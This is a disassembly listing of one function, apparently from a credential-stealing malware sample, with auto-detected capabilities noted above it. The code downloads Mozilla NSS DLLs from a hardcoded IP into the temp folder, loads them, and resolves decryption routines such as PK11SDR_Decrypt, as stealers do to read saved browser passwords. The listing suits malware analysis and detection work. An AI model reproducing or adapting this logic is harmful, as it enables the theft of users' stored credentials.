Function at 0x40a50c
Capabilities:
Check if file exists
Check internet connectivity via wininet
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe38
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0xe38]
push esi
xor ebx, ebx
mov edi, ecx
push ebx
push eax
mov dword [ebp - 4], edi
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0xe38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [ebp + 0xc], 1
jne 0x40a8ee
cmp dword [edi + 0xb0], ebx
je 0x40a581
cmp dword [edi + 0xa4], ebx
je 0x40a581
cmp dword [edi + 0xa8], ebx
je 0x40a581
cmp dword [edi + 0xb4], ebx
je 0x40a581
cmp dword [edi + 0x9c], ebx
je 0x40a581
cmp dword [edi + 0xac], ebx
jne 0x40a8ee
mov esi, 0x100
lea eax, [ebp - 0x830]
push esi
push ebx
push eax
call fcn.00401052
push esi
lea eax, [ebp - 0x230]
push ebx
push eax
call fcn.00401052
push esi
lea eax, [ebp - 0x630]
push ebx
push eax
call fcn.00401052
push esi
lea eax, [ebp - 0x430]
push ebx
push eax
call fcn.00401052
push esi
lea eax, [ebp - 0xc30]
push ebx
push eax
call fcn.00401052
push esi
lea eax, [ebp - 0xa30]
push ebx
push eax
call fcn.00401052
add esp, 0x48
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
push ebx
push 1
push str.http:__www.google.com
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x24], ebx
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x40ab09
lea edx, [ebp - 0x20]
mov ecx, str.http:__5.206.225.104_dll_softokn3.dll
call fcn.0040f445
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov ecx, str.http:__5.206.225.104_dll_msvcp140.dll
call fcn.0040f445
lea edx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov ecx, str.http:__5.206.225.104_dll_mozglue.dll
call fcn.0040f445
lea edx, [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov ecx, str.http:__5.206.225.104_dll_vcruntime140.dll
call fcn.0040f445
lea edx, [ebp - 0x30]
mov dword [ebp - 8], eax
mov ecx, str.http:__5.206.225.104_dll_freebl3.dll
call fcn.0040f445
lea edx, [ebp - 0x24]
mov dword [ebp + 0xc], eax
mov ecx, str.http:__5.206.225.104_dll_nss3.dll
call fcn.0040f445
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xa30]
push eax
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xa30]
push str.softokn3.dll
push eax
call esi
lea eax, [ebp - 0x230]
push eax
push 0x100
call edi
push str.msvcp140.dll
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x630]
push eax
push 0x100
call edi
push str.mozglue.dll
lea eax, [ebp - 0x630]
push eax
call esi
lea eax, [ebp - 0x430]
push eax
push 0x100
call edi
push str.vcruntime140.dll
lea eax, [ebp - 0x430]
push eax
call esi
lea eax, [ebp - 0xc30]
push eax
push 0x100
call edi
push str.freebl3.dll
lea eax, [ebp - 0xc30]
push eax
call esi
lea eax, [ebp - 0x830]
push eax
push 0x100
call edi
push str.nss3.dll
lea eax, [ebp - 0x830]
push eax
call esi
cmp dword [ebp - 0x14], ebx
je 0x40a8bb
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp - 0x10]
test edi, edi
je 0x40a83d
test eax, eax
je 0x40a83d
test ecx, ecx
je 0x40a83d
test edx, edx
je 0x40a83d
test esi, esi
je 0x40a83d
mov ecx, dword [ebp - 0x14]
push 0x5a
pop eax
cmp byte [ecx], 0x4d
jne 0x40a77b
cmp byte [ecx + 1], al
jne 0x40a77b
push dword [ebp - 0x20]
mov edx, ecx
lea ecx, [ebp - 0xa30]
call fcn.0040f52a
pop ecx
push 0x5a
pop eax
jmp 0x40a77e
mov dword [ebp - 0x14], ebx
cmp byte [edi], 0x4d
jne 0x40a79b
cmp byte [edi + 1], al
jne 0x40a79b
push dword [ebp - 0x1c]
mov edx, edi
lea ecx, [ebp - 0x230]
call fcn.0040f52a
pop ecx
jmp 0x40a7a0
mov edi, ebx
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0xc]
cmp byte [eax], 0x4d
jne 0x40a7c1
cmp byte [eax + 1], 0x5a
jne 0x40a7c1
push dword [ebp - 0x28]
mov edx, eax
lea ecx, [ebp - 0x630]
call fcn.0040f52a
pop ecx
jmp 0x40a7c4
mov dword [ebp - 0xc], ebx
mov eax, dword [ebp - 8]
cmp byte [eax], 0x4d
jne 0x40a7e5
cmp byte [eax + 1], 0x5a
jne 0x40a7e5
push dword [ebp - 0x2c]
mov edx, eax
lea ecx, [ebp - 0x430]
call fcn.0040f52a
pop ecx
jmp 0x40a7e8
mov dword [ebp - 8], ebx
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x4d
jne 0x40a80c
cmp byte [eax + 1], 0x5a
jne 0x40a80c
push dword [ebp - 0x30]
mov edx, eax
lea ecx, [ebp - 0xc30]
call fcn.0040f52a
mov edx, dword [ebp + 0xc]
pop ecx
jmp 0x40a811
mov edx, ebx
mov dword [ebp + 0xc], edx
cmp byte [esi], 0x4d
jne 0x40a832
cmp byte [esi + 1], 0x5a
jne 0x40a832
push dword [ebp - 0x24]
mov edx, esi
lea ecx, [ebp - 0x830]
call fcn.0040f52a
mov edx, dword [ebp + 0xc]
pop ecx
jmp 0x40a837
mov esi, ebx
mov dword [ebp - 0x10], esi
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x14], ebx
je 0x40a8bb
test edi, edi
je 0x40a8bb
test eax, eax
je 0x40a8bb
test ecx, ecx
je 0x40a8bb
test edx, edx
je 0x40a8bb
test esi, esi
je 0x40a8bb
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x230]
push eax
call esi
mov edi, dword [ebp - 4]
mov dword [edi + 0xa4], eax
lea eax, [ebp - 0x430]
push eax
call esi
mov dword [edi + 0xb4], eax
lea eax, [ebp - 0x630]
push eax
call esi
mov dword [edi + 0xa8], eax
lea eax, [ebp - 0x830]
push eax
call esi
mov dword [edi + 0xac], eax
lea eax, [ebp - 0xa30]
push eax
call esi
mov dword [edi + 0xb0], eax
lea eax, [ebp - 0xc30]
push eax
call esi
mov dword [edi + 0x9c], eax
jmp 0x40a8be
mov edi, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
call fcn.004058fb
mov ecx, dword [ebp - 0x18]
call fcn.004058fb
mov ecx, dword [ebp - 0xc]
call fcn.004058fb
mov ecx, dword [ebp - 8]
call fcn.004058fb
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
mov ecx, dword [ebp - 0x10]
jmp 0x40ab04
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x412464
lea ecx, [ebp + 8]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.004033f3
push str.nss3.dll
lea ecx, [ebp - 0x20]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004033f3
push str.msvcr120.dll
lea ecx, [ebp - 0xc]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.004033f3
push str.msvcp120.dll
lea ecx, [ebp - 0x10]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004033f3
push str.mozglue.dll
lea ecx, [ebp - 0x1c]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
call fcn.004033f3
push str.softokn3.dll
lea ecx, [ebp - 0x24]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 4]
call fcn.004033f3
push str.vcruntime140.dll
lea ecx, [ebp - 4]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
call fcn.004033f3
push str.msvcp
lea ecx, [ebp - 8]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.004033f3
push str.msvcr
lea ecx, [ebp - 0x18]
call fcn.00403230
push 0x5a
pop eax
mov dword [ebp - 0x14], eax
mov esi, eax
lea eax, [ebp - 8]
push eax
lea ecx, [ebp + 0xc]
call fcn.004033f3
push 0x412d04
push esi
lea ecx, [ebp + 0xc]
call fcn.00403038
mov ecx, eax
call fcn.00403230
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40aa1a
mov ecx, dword [ebp + 0xc]
add esi, 0xa
call fcn.004058fb
mov dword [ebp + 0xc], ebx
cmp esi, 0x96
jne 0x40a9d4
jmp 0x40aa2e
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.004031fd
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 0xc]
call fcn.004033f3
push 0x412d04
push dword [ebp - 0x14]
lea ecx, [ebp + 0xc]
call fcn.00403038
mov ecx, eax
call fcn.00403230
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40aa78
mov ecx, dword [ebp + 0xc]
add dword [ebp - 0x14], 0xa
call fcn.004058fb
cmp dword [ebp - 0x14], 0x96
mov dword [ebp + 0xc], ebx
jne 0x40aa2e
jmp 0x40aa8c
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0xc]
call fcn.004031fd
mov ecx, dword [ebp + 0xc]
call fcn.004058fb
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call esi
push dword [ebp - 0xc]
mov dword [edi + 0xb4], eax
call esi
push dword [ebp - 0x10]
mov dword [edi + 0xa0], eax
call esi
push dword [ebp - 0x1c]
mov dword [edi + 0xa4], eax
call esi
push dword [ebp - 0x20]
mov dword [edi + 0xa8], eax
call esi
mov ecx, dword [ebp - 0x18]
mov dword [edi + 0xac], eax
call fcn.004058fb
mov ecx, dword [ebp - 8]
call fcn.004058fb
mov ecx, dword [ebp - 4]
call fcn.004058fb
mov ecx, dword [ebp - 0x24]
call fcn.004058fb
mov ecx, dword [ebp - 0x1c]
call fcn.004058fb
mov ecx, dword [ebp - 0x10]
call fcn.004058fb
mov ecx, dword [ebp - 0xc]
call fcn.004058fb
mov ecx, dword [ebp - 0x20]
call fcn.004058fb
mov ecx, dword [edi + 0xac]
test ecx, ecx
je 0x40abd1
push ecx
mov edx, str.NSS_Init
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.PK11_GetInternalKeySlot
mov dword [edi + 0x60], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.PK11_Authenticate
mov dword [edi + 0x78], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.PK11SDR_Decrypt
mov dword [edi + 0x74], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.NSSBase64_DecodeBuffer
mov dword [edi + 0x68], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.PK11_CheckUserPassword
mov dword [edi + 0x6c], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.NSS_Shutdown
mov dword [edi + 0x70], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.PK11_FreeSlot
mov dword [edi + 0x64], eax
call fcn.0040e579
mov ecx, dword [edi + 0xac]
mov edx, str.PR_GetError
mov dword [edi + 0x7c], eax
call fcn.0040e579
mov dword [edi + 0x80], eax
lea eax, [ebp - 0xe38]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor ebx, ebx
inc ebx
mov ecx, dword [ebp + 8]
call fcn.004058fb
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8